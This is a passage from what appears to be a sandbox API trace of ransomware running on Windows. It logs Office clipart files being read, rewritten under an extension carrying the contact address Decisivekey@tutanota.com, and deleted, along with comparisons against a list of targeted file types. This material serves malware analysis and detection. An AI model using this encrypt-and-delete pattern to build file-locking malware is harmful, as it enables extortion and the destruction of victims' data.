lpNumberOfBytesRead=0x321fed4*=0x3dbe, lpOverlapped=0x0) returned 1 [0222.515] WriteFile (in: hFile=0x22c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0222.516] ReadFile (in: hFile=0x184, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.516] WriteFile (in: hFile=0x22c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.516] SetEndOfFile (hFile=0x22c) returned 1 [0222.516] CloseHandle (hObject=0x22c) returned 1 [0222.516] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.516] SetEndOfFile (hFile=0x184) returned 1 [0222.517] CloseHandle (hObject=0x184) returned 1 [0222.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0222.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0222.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0222.518] lstrlenW (lpString=".doc") returned 4 [0222.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.518] lstrlenW (lpString=".docx") returned 5 [0222.518] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.518] lstrlenW (lpString=".pdf") returned 4 [0222.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.518] lstrlenW (lpString=".xls") returned 4 [0222.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.518] lstrlenW (lpString=".xlsx") returned 5 [0222.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.518] lstrlenW (lpString=".ppt") returned 4 [0222.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0222.518] lstrlenW (lpString=".zip") returned 4 [0222.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.518] lstrlenW (lpString=".rar") returned 4 [0222.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.518] lstrlenW (lpString=".bz2") returned 4 [0222.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.518] lstrlenW (lpString=".7z") returned 3 [0222.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0222.518] lstrlenW (lpString=".dbf") returned 4 [0222.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0222.518] lstrlenW (lpString=".1cd") returned 4 [0222.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0222.518] lstrlenW (lpString=".jpg") returned 4 [0222.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.518] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=6016) returned 1 [0222.519] CloseHandle (hObject=0x184) returned 1 [0222.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x20 [0222.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.519] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.519] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.520] GetLastError () returned 0x0 [0222.520] ReadFile (in: hFile=0x184, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1780, lpOverlapped=0x0) returned 1 [0222.532] WriteFile (in: hFile=0x22c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1790, lpOverlapped=0x0) returned 1 [0222.533] ReadFile (in: hFile=0x184, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.533] WriteFile (in: hFile=0x22c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.533] SetEndOfFile (hFile=0x22c) returned 1 [0222.533] CloseHandle (hObject=0x22c) returned 1 [0222.533] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.533] SetEndOfFile (hFile=0x184) returned 1 [0222.534] CloseHandle (hObject=0x184) returned 1 [0222.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0222.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0222.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0222.534] lstrlenW (lpString=".doc") returned 4 [0222.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.534] lstrlenW (lpString=".docx") returned 5 [0222.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.534] lstrlenW (lpString=".pdf") returned 4 [0222.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.534] lstrlenW (lpString=".xls") returned 4 [0222.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.534] lstrlenW (lpString=".xlsx") returned 5 [0222.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.534] lstrlenW (lpString=".ppt") returned 4 [0222.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0222.864] lstrlenW (lpString=".zip") returned 4 [0222.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.864] lstrlenW (lpString=".rar") returned 4 [0222.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.864] lstrlenW (lpString=".bz2") returned 4 [0222.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.864] lstrlenW (lpString=".7z") returned 3 [0222.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0222.864] lstrlenW (lpString=".dbf") returned 4 [0222.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0222.864] lstrlenW (lpString=".1cd") returned 4 [0222.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0222.864] lstrlenW (lpString=".jpg") returned 4 [0222.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.865] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.865] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0222.865] GetLastError () returned 0x0 [0222.865] ReadFile (in: hFile=0x16c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x10ca8, lpOverlapped=0x0) returned 1 [0222.920] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x10cb0, lpOverlapped=0x0) returned 1 [0222.922] ReadFile (in: hFile=0x16c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.922] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.922] SetEndOfFile (hFile=0x21c) returned 1 [0222.922] CloseHandle (hObject=0x21c) returned 1 [0222.922] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.922] SetEndOfFile (hFile=0x16c) returned 1 [0222.923] CloseHandle (hObject=0x16c) returned 1 [0222.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0223.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0223.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0223.277] lstrlenW (lpString=".doc") returned 4 [0223.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0223.277] lstrlenW (lpString=".docx") returned 5 [0223.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0223.277] lstrlenW (lpString=".pdf") returned 4 [0223.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0223.277] lstrlenW (lpString=".xls") returned 4 [0223.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0223.277] lstrlenW (lpString=".xlsx") returned 5 [0223.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0223.277] lstrlenW (lpString=".ppt") returned 4 [0223.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0223.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0223.277] lstrlenW (lpString=".zip") returned 4 [0223.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0223.277] lstrlenW (lpString=".rar") returned 4 [0223.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0223.277] lstrlenW (lpString=".bz2") returned 4 [0223.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0223.278] lstrlenW (lpString=".7z") returned 3 [0223.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0223.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0223.278] lstrlenW (lpString=".dbf") returned 4 [0223.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0223.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0223.278] lstrlenW (lpString=".1cd") returned 4 [0223.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0223.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0223.278] lstrlenW (lpString=".jpg") returned 4 [0223.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0223.568] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=792) returned 1 [0223.568] CloseHandle (hObject=0x180) returned 1 [0223.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 0x20 [0223.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0223.568] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.569] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0223.569] GetLastError () returned 0x0 [0223.569] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x318, lpOverlapped=0x0) returned 1 [0223.691] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x320, lpOverlapped=0x0) returned 1 [0223.692] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.692] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0223.692] SetEndOfFile (hFile=0x1e4) returned 1 [0223.692] CloseHandle (hObject=0x1e4) returned 1 [0223.692] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.692] SetEndOfFile (hFile=0x180) returned 1 [0223.693] CloseHandle (hObject=0x180) returned 1 [0223.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0223.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0223.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0223.693] lstrlenW (lpString=".doc") returned 4 [0223.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0223.693] lstrlenW (lpString=".docx") returned 5 [0223.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0223.693] lstrlenW (lpString=".pdf") returned 4 [0223.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0223.693] lstrlenW (lpString=".xls") returned 4 [0223.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0223.693] lstrlenW (lpString=".xlsx") returned 5 [0223.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0223.693] lstrlenW (lpString=".ppt") returned 4 [0223.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0223.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0223.693] lstrlenW (lpString=".zip") returned 4 [0223.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0223.694] lstrlenW (lpString=".rar") returned 4 [0223.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0223.694] lstrlenW (lpString=".bz2") returned 4 [0223.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0223.694] lstrlenW (lpString=".7z") returned 3 [0223.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0223.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0223.694] lstrlenW (lpString=".dbf") returned 4 [0223.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0223.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0223.694] lstrlenW (lpString=".1cd") returned 4 [0223.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0223.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0223.694] lstrlenW (lpString=".jpg") returned 4 [0223.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0223.694] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1074) returned 1 [0223.694] CloseHandle (hObject=0x180) returned 1 [0223.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 0x20 [0223.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0223.695] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.695] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0223.695] GetLastError () returned 0x0 [0223.695] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x432, lpOverlapped=0x0) returned 1 [0223.705] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x440, lpOverlapped=0x0) returned 1 [0223.706] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.706] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0223.706] SetEndOfFile (hFile=0x1e4) returned 1 [0223.706] CloseHandle (hObject=0x1e4) returned 1 [0223.706] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.706] SetEndOfFile (hFile=0x180) returned 1 [0223.707] CloseHandle (hObject=0x180) returned 1 [0223.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0223.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0223.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0223.707] lstrlenW (lpString=".doc") returned 4 [0223.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0223.707] lstrlenW (lpString=".docx") returned 5 [0223.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0223.707] lstrlenW (lpString=".pdf") returned 4 [0223.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0223.707] lstrlenW (lpString=".xls") returned 4 [0223.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0223.707] lstrlenW (lpString=".xlsx") returned 5 [0223.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0223.707] lstrlenW (lpString=".ppt") returned 4 [0223.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0223.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0223.707] lstrlenW (lpString=".zip") returned 4 [0223.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0223.707] lstrlenW (lpString=".rar") returned 4 [0223.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0223.707] lstrlenW (lpString=".bz2") returned 4 [0223.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0223.707] lstrlenW (lpString=".7z") returned 3 [0223.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0223.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0223.708] lstrlenW (lpString=".dbf") returned 4 [0223.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0223.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0223.708] lstrlenW (lpString=".1cd") returned 4 [0223.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0223.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0223.708] lstrlenW (lpString=".jpg") returned 4 [0223.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0223.708] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1848) returned 1 [0223.708] CloseHandle (hObject=0x180) returned 1 [0223.708] GetFileAttributesW 